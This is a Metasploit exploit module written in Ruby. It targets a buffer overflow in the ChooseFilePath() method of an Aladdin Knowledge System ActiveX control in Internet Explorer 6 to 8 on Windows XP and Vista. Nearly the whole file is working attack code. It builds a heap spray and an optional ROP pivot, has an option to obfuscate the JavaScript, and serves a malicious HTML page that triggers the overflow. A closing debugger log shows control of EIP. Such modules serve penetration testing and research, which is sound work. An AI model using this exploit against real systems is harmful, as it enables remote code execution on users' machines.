##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Aladdin Knowledge System's
        ActiveX component.  By supplying a long string of data to the ChooseFilePath()
        function, a buffer overflow occurs, which may result in remote code execution
        under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'shinnai',       #Vulnerability Discovery
          'b33f',          #Original exploit
          'sinn3r',        #Metasploit
          'juan vazquez'   #Metasploit, IE8 target
        ],
      'References'     =>
        [
          [ 'OSVDB', '86723' ],
          [ 'EDB',   '22258' ],
          [ 'EDB',   '22301' ]
        ],
      'Payload'        =>
        {
          'StackAdjustment' => -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source => /script|headers/i,
          :activex => [
            {
              clsid: "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
              method: "ChooseFilePath"
            }
          ],
          :os_name => OperatingSystems::Match::WINDOWS,
        },
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows XP with IE 6',
              {
                'os_name'   => OperatingSystems::Match::WINDOWS_XP,
                'ua_name'   => 'MSIE',
                'ua_ver'    => '6.0',
                'Rop'       => false,
                'Offset' => '0x5F4',
                'Ret' => 0x0c0c0c0c
              }
          ],
          [
            'Windows XP with IE 7',
              {
                'os_name'   => OperatingSystems::Match::WINDOWS_XP,
                'ua_name'   => 'MSIE',
                'ua_ver'    => '7.0',
                'Rop'       => false,
                'Offset' => '0x5F4',
                'Ret' => 0x0c0c0c0c
              }
          ],
          [
            'Windows XP with IE 8',
              {
                'os_name'   => OperatingSystems::Match::WINDOWS_XP,
                'ua_name'   => 'MSIE',
                'ua_ver'    => '8.0',
                'Rop'       => true,
                'Offset' => '0x5f6',
                'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
              }
          ],
          [
            'Windows Vista with IE 7',
              {
                'os_name'   => OperatingSystems::Match::WINDOWS_VISTA,
                'ua_name'   => 'MSIE',
                'ua_ver'    => '7.0',
                'Rop'       => false,
                'Offset' => '0x5F4',
                'Ret' => 0x0c0c0c0c
              }
          ]

        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 1 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class
    )
  end


  def ie_heap_spray(p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(get_target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(get_target.arch))

    # Land the payload at 0x0c0c0c0c

    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{get_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def exploit_template(cli, target_info)

    if get_target['Rop']
      p = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp'})
    else
      p = get_payload(cli, target_info)
    end

    spray = ie_heap_spray(p)
    target_ret = Rex::Text.to_hex([get_target.ret].pack("V"))

    html_template = %Q|
    <html>
    <object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
    <script>
    <%=spray%>
    junk='';
    for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
    pwnd.ChooseFilePath(junk + "<%=target_ret%>");
    </script>
    </html>
    |

    return html_template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    print_status("Sending HTML...")
    send_exploit_html(cli, exploit_template(cli, target_info))
  end

end

=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00            mov     eax,dword ptr [eax]  ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
0c0c0c0c ??              ???
0:008> db 020bf798
020bf798  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7a8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7b8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7c8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7d8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7e8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7f8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf808  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
=end
